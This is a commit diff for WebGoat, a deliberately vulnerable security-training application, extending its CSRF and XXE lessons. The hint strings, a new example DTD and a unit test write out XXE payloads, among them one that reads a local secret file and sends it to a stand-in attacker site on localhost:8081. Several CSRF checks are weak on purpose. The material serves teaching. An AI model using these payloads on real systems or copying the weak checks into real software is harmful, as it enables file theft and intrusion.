Extended and fixed some lessons
This commit is contained in:
parent
d2b6725f3b
commit
1edceb0aa8
@ -14,19 +14,23 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
||||
*/
|
||||
|
||||
@AssignmentPath("/csrf/confirm-flag-1")
|
||||
@AssignmentHints({"csrf-get.hint1","csrf-get.hint2","csrf-get.hint3","csrf-get.hint4"})
|
||||
@AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"})
|
||||
public class CSRFConfirmFlag1 extends AssignmentEndpoint {
|
||||
|
||||
@Autowired
|
||||
UserSessionData userSessionData;
|
||||
|
||||
@PostMapping(produces = {"application/json"})
|
||||
public @ResponseBody AttackResult completed(String confirmFlagVal) {
|
||||
public @ResponseBody
|
||||
AttackResult completed(String confirmFlagVal) {
|
||||
|
||||
if (confirmFlagVal.equals(userSessionData.getValue("csrf-get-success").toString())) {
|
||||
return success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build();
|
||||
Object userSessionDataStr = userSessionData.getValue("csrf-get-success");
|
||||
if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) {
|
||||
return trackProgress(
|
||||
success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build()
|
||||
);
|
||||
}
|
||||
|
||||
return failed().feedback("").build();
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
}
|
||||
|
@ -64,8 +64,12 @@ public class CSRFFeedback extends AssignmentEndpoint {
|
||||
|
||||
private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
|
||||
String referer = request.getHeader("referer");
|
||||
String host = request.getHeader("host");
|
||||
return !StringUtils.contains(referer, host);
|
||||
String origin = request.getHeader("origin");
|
||||
if (referer != null) {
|
||||
return !referer.contains(origin);
|
||||
} else {
|
||||
return true; //this case referer is null or origin does not matter we cannot compare so we return true which should of course be false
|
||||
}
|
||||
}
|
||||
|
||||
private boolean requestContainsWebGoatCookie(Cookie[] cookies) {
|
||||
|
@ -31,7 +31,7 @@ public class CSRFGetFlag extends Endpoint {
|
||||
@ResponseBody
|
||||
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
|
||||
Map<String,Object> response = new HashMap<>();
|
||||
Map<String, Object> response = new HashMap<>();
|
||||
|
||||
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
|
||||
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
|
||||
@ -40,12 +40,22 @@ public class CSRFGetFlag extends Endpoint {
|
||||
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
|
||||
String[] refererArr = referer.split("/");
|
||||
|
||||
if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) {
|
||||
|
||||
|
||||
if (referer.equals("NULL")) {
|
||||
if (req.getParameter("csrf").equals("true")) {
|
||||
Random random = new Random();
|
||||
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
||||
response.put("success",true);
|
||||
response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success"));
|
||||
response.put("flag",userSessionData.getValue("csrf-get-success"));
|
||||
response.put("success", true);
|
||||
response.put("message", pluginMessages.getMessage("csrf-get-null-referer.success"));
|
||||
response.put("flag", userSessionData.getValue("csrf-get-success"));
|
||||
} else {
|
||||
Random random = new Random();
|
||||
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
||||
response.put("success", true);
|
||||
response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success"));
|
||||
response.put("flag", userSessionData.getValue("csrf-get-success"));
|
||||
}
|
||||
} else if (refererArr[2].equals(host)) {
|
||||
response.put("success", false);
|
||||
response.put("message", "Appears the request came from the original host");
|
||||
@ -53,9 +63,9 @@ public class CSRFGetFlag extends Endpoint {
|
||||
} else {
|
||||
Random random = new Random();
|
||||
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
||||
response.put("success",true);
|
||||
response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success"));
|
||||
response.put("flag",userSessionData.getValue("csrf-get-success"));
|
||||
response.put("success", true);
|
||||
response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success"));
|
||||
response.put("flag", userSessionData.getValue("csrf-get-success"));
|
||||
}
|
||||
|
||||
return response;
|
||||
|
@ -1,69 +0,0 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.owasp.webgoat.assignments.Endpoint;
|
||||
import org.owasp.webgoat.i18n.PluginMessages;
|
||||
import org.owasp.webgoat.session.UserSessionData;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* Created by jason on 9/30/17.
|
||||
*/
|
||||
|
||||
public class CSRFGetXhrFlag extends Endpoint {
|
||||
|
||||
@Autowired
|
||||
UserSessionData userSessionData;
|
||||
@Autowired
|
||||
private PluginMessages pluginMessages;
|
||||
|
||||
@RequestMapping(produces = {"application/json"}, method = RequestMethod.GET)
|
||||
@ResponseBody
|
||||
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
|
||||
Map<String,Object> response = new HashMap<>();
|
||||
|
||||
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
|
||||
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
|
||||
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
|
||||
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
|
||||
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
|
||||
String[] refererArr = referer.split("/");
|
||||
|
||||
if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) {
|
||||
Random random = new Random();
|
||||
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
||||
response.put("success",true);
|
||||
response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success"));
|
||||
response.put("flag",userSessionData.getValue("csrf-get-success"));
|
||||
} else if (refererArr[2].equals(host)) {
|
||||
response.put("success", false);
|
||||
response.put("message", "Appears the request came from the original host");
|
||||
response.put("flag", null);
|
||||
} else {
|
||||
Random random = new Random();
|
||||
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
||||
response.put("success",true);
|
||||
response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success"));
|
||||
response.put("flag",userSessionData.getValue("csrf-get-success"));
|
||||
}
|
||||
|
||||
return response;
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPath() {
|
||||
return "/csrf/get-xhr-flag";
|
||||
}
|
||||
}
|
@ -115,22 +115,13 @@ public class ForgedReviews extends AssignmentEndpoint {
|
||||
userReviews.put(webSession.getUserName(), reviews);
|
||||
//short-circuit
|
||||
if (validateReq == null || !validateReq.equals(weakAntiCSRF)) {
|
||||
return failed().feedback("csrf-you-forgot-something").build();
|
||||
return trackProgress(failed().feedback("csrf-you-forgot-something").build());
|
||||
}
|
||||
//we have the spoofed files
|
||||
if (referer != "NULL" && refererArr[2].equals(host) ) {
|
||||
return (failed().feedback("csrf-same-host").build());
|
||||
return trackProgress(failed().feedback("csrf-same-host").build());
|
||||
} else {
|
||||
return (success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure")
|
||||
}
|
||||
}
|
||||
|
||||
private Review parseJson(String comment) {
|
||||
ObjectMapper mapper = new ObjectMapper();
|
||||
try {
|
||||
return mapper.readValue(comment, Review.class);
|
||||
} catch (IOException e) {
|
||||
return new Review();
|
||||
return trackProgress(success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -15,6 +15,7 @@
|
||||
|
||||
<form accept-charset="UNKNOWN" id="basic-csrf-get"
|
||||
method="GET" name="form1"
|
||||
target="_blank"
|
||||
successCallback=""
|
||||
action="/WebGoat/csrf/basic-get-flag"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
@ -26,10 +27,12 @@
|
||||
<div class="adoc-content" th:replace="doc:CSRF_Basic_Get-1.adoc"></div>
|
||||
|
||||
<div class="attack-container">
|
||||
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
|
||||
<div class="assignment-success">
|
||||
<i class="fa fa-2 fa-check hidden" aria-hidden="true">
|
||||
</i>
|
||||
</div>
|
||||
<br/>
|
||||
<form class="attack-form" accept-charset="UNKNOWN" id="confirm-flag-1"
|
||||
method="POST" name="form2"
|
||||
successCallback=""
|
||||
@ -40,7 +43,10 @@
|
||||
<input type="text" length="6" name="confirmFlagVal" value=""/>
|
||||
|
||||
<input name="submit" value="Submit" type="submit"/>
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
<br/>
|
||||
<br/>
|
||||
</form>
|
||||
|
||||
<div class="attack-feedback"></div>
|
||||
@ -56,9 +62,9 @@
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/reviews.css}"/>
|
||||
<script th:src="@{/lesson_js/csrf-review.js}" language="JavaScript"></script>
|
||||
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
|
||||
<div class="attack-container">
|
||||
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<div class="container-fluid">
|
||||
<div class="panel post">
|
||||
<div class="post-heading">
|
||||
@ -133,6 +139,7 @@
|
||||
padding: 7px;
|
||||
margin-top:7px;
|
||||
padding:5px;">
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
@ -165,7 +172,8 @@
|
||||
<div class="form-group">
|
||||
<label for="subject">
|
||||
Subject</label>
|
||||
<select id="subject" name="subject" class="form-control" required="required">
|
||||
<select id="subject" name="subject" class="form-control"
|
||||
required="required">
|
||||
<option value="na" selected="">Choose One:</option>
|
||||
<option value="service">General Customer Service</option>
|
||||
<option value="suggestions">Suggestions</option>
|
||||
@ -177,7 +185,8 @@
|
||||
<div class="form-group">
|
||||
<label for="name">
|
||||
Message</label>
|
||||
<textarea name="message" id="message" class="form-control" rows="9" cols="25"
|
||||
<textarea name="message" id="message" class="form-control" rows="9"
|
||||
cols="25"
|
||||
required="required"
|
||||
placeholder="Message"></textarea>
|
||||
</div>
|
||||
@ -193,6 +202,9 @@
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="attack-container">
|
||||
@ -211,7 +223,6 @@
|
||||
<input name="submit" value="Submit" type="submit"/>
|
||||
|
||||
</form>
|
||||
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
|
@ -13,9 +13,14 @@ match and this will ensure the server the request is running on the same domain.
|
||||
|
||||
Remember the session cookie should always be defined with http-only flag.
|
||||
|
||||
Another effective defense can be to add a custom request header to each call. This will work if all the interactions
|
||||
== Custom headers not safe
|
||||
|
||||
Another defense can be to add a custom request header to each call. This will work if all the interactions
|
||||
with the server are performed with JavaScript. On the server side you only need to check the presence of this header
|
||||
if this header is not present deny the request.
|
||||
Some frameworks offer this implementation by default however researcer Alex Infuhr found out that this can be bypassed
|
||||
as well. You can read about: http://insert-blogspot.nl/2018/05/adobe-reader-pdf-client-side-request.html?m=1[Adobe Reader PDF - Client Side Request Injection]
|
||||
|
||||
|
||||
|
||||
|
||||
|
@ -4,7 +4,20 @@ The impact is limited only by what the logged in user can do (if the site/functi
|
||||
The areas that are really prone to CSRF attacks are IoT devices and 'smart' appliances. Sadly, many consumer-grade routers
|
||||
have also proven vulnerable to CSRF.
|
||||
|
||||
== CSRF Solution
|
||||
== CSRF solutions
|
||||
|
||||
=== Same site cookie attribute
|
||||
|
||||
This is a new extension which modern browsers support which limits the scope of the cookie such that it will only be
|
||||
attached to requests if those requests are 'same-site'
|
||||
For example requests for `http://webgoat.org/something` will attach same-site cookies if the request is initiated from
|
||||
`webgoat.org`.
|
||||
There are two modes, strict and lax. The first one does not allow cross site request, this means when you are on
|
||||
github.com and you want to like it through Facebook (and Facebook specifies same-site as strict) you will be
|
||||
redirected to the login page, because the browser does not attach the cookie for Facebook.
|
||||
More information can be found here: www.sjoerdlangkemper.nl/2016/04/14/preventin-csrf-with-samesite-cookie-attribute/
|
||||
|
||||
=== Other protections
|
||||
|
||||
Fortunately, many (web) application frameworks now come with built in support to handle CSRF attacks. For example, Spring and
|
||||
Tomcat have this on by default. As long as you don't turn it off (like it is in WebGoat), you should be safe from CSRF attacks.
|
||||
|
@ -46,13 +46,10 @@ public class CSRFFeedbackTest extends LessonTest {
|
||||
mockMvc.perform(post("/csrf/feedback/message")
|
||||
.contentType(MediaType.TEXT_PLAIN)
|
||||
.cookie(new Cookie("JSESSIONID", "test"))
|
||||
.header("host", "localhost:8080")
|
||||
.header("origin", "localhost:8080")
|
||||
.header("referer", "webgoat.org")
|
||||
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("feedback", StringContains.containsString("the flag is: ")));
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
@ -4,6 +4,7 @@ import com.google.common.base.Charsets;
|
||||
import com.google.common.io.Files;
|
||||
import lombok.SneakyThrows;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
@ -49,6 +50,7 @@ import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
|
||||
* @since November 18, 2016
|
||||
*/
|
||||
@AssignmentPath("xxe/blind")
|
||||
@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"})
|
||||
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
|
||||
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
|
||||
|
@ -51,7 +51,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
||||
* @since 4/8/17.
|
||||
*/
|
||||
@AssignmentPath("xxe/simple")
|
||||
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"})
|
||||
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"})
|
||||
public class SimpleXXE extends AssignmentEndpoint {
|
||||
|
||||
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
||||
|
@ -30,9 +30,17 @@ xxe.content.output=Welcome {0} you can now login to our website
|
||||
xxe.blind.output=Contents of the file is: {0}
|
||||
|
||||
xxe.hints.simple.xxe.1=Try submitting the form and see what happens
|
||||
xxe.hints.simple.xxe.2=XXE stands for XML External Entity attack
|
||||
xxe.hints.simple.xxe.3=Try to include your own DTD
|
||||
xxe.hints.simple.xxe.4=Try to include a doctype "(<!DOCTYPE...)" in the xml
|
||||
xxe.hints.simple.xxe.2=Use ZAP/Burp to intercept the request and try to include your own DTD
|
||||
xxe.hints.simple.xxe.3=Try to include a doctype "(<!DOCTYPE...)" in the xml
|
||||
xxe.hints.simple.xxe.4=The include can be as follows: <!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]>
|
||||
xxe.hints.simple.xxe.5=Do not forget to reference the entity
|
||||
xxe.hints.simple.xxe.6=In the comment you should references: <comment><text>&root;test</text></comment>
|
||||
|
||||
xxe.hints.content.type.xxe.1=Take a look at the content type
|
||||
xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
|
||||
|
||||
xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
|
||||
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
|
||||
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
|
||||
xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment
|
||||
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:8081/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment>
|
||||
|
@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!ENTITY % file SYSTEM "file:/home/nbaars/.webgoat-v8.0.0.M14/XXE/secret.txt">
|
||||
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>">
|
||||
%all;
|
||||
~
|
@ -3,5 +3,5 @@
|
||||
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about.
|
||||
So this might result in JSON endpoints being vulnerable to XXE attacks.
|
||||
|
||||
Again same exercise but try to perform the same XML injection as we did in first assigment.
|
||||
Again same exercise but try to perform the same XML injection as we did in first assignment.
|
||||
|
||||
|
@ -71,6 +71,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
|
||||
//Host DTD on WebWolf site
|
||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
|
||||
@ -80,6 +81,8 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
||||
.withStatus(200)
|
||||
.withBody(dtd)));
|
||||
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
||||
|
||||
//Make the request from WebGoat
|
||||
String xml = "<?xml version=\"1.0\"?>" +
|
||||
"<!DOCTYPE comment [" +
|
||||
"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +
|
||||
|
Loading…
x
Reference in New Issue
Block a user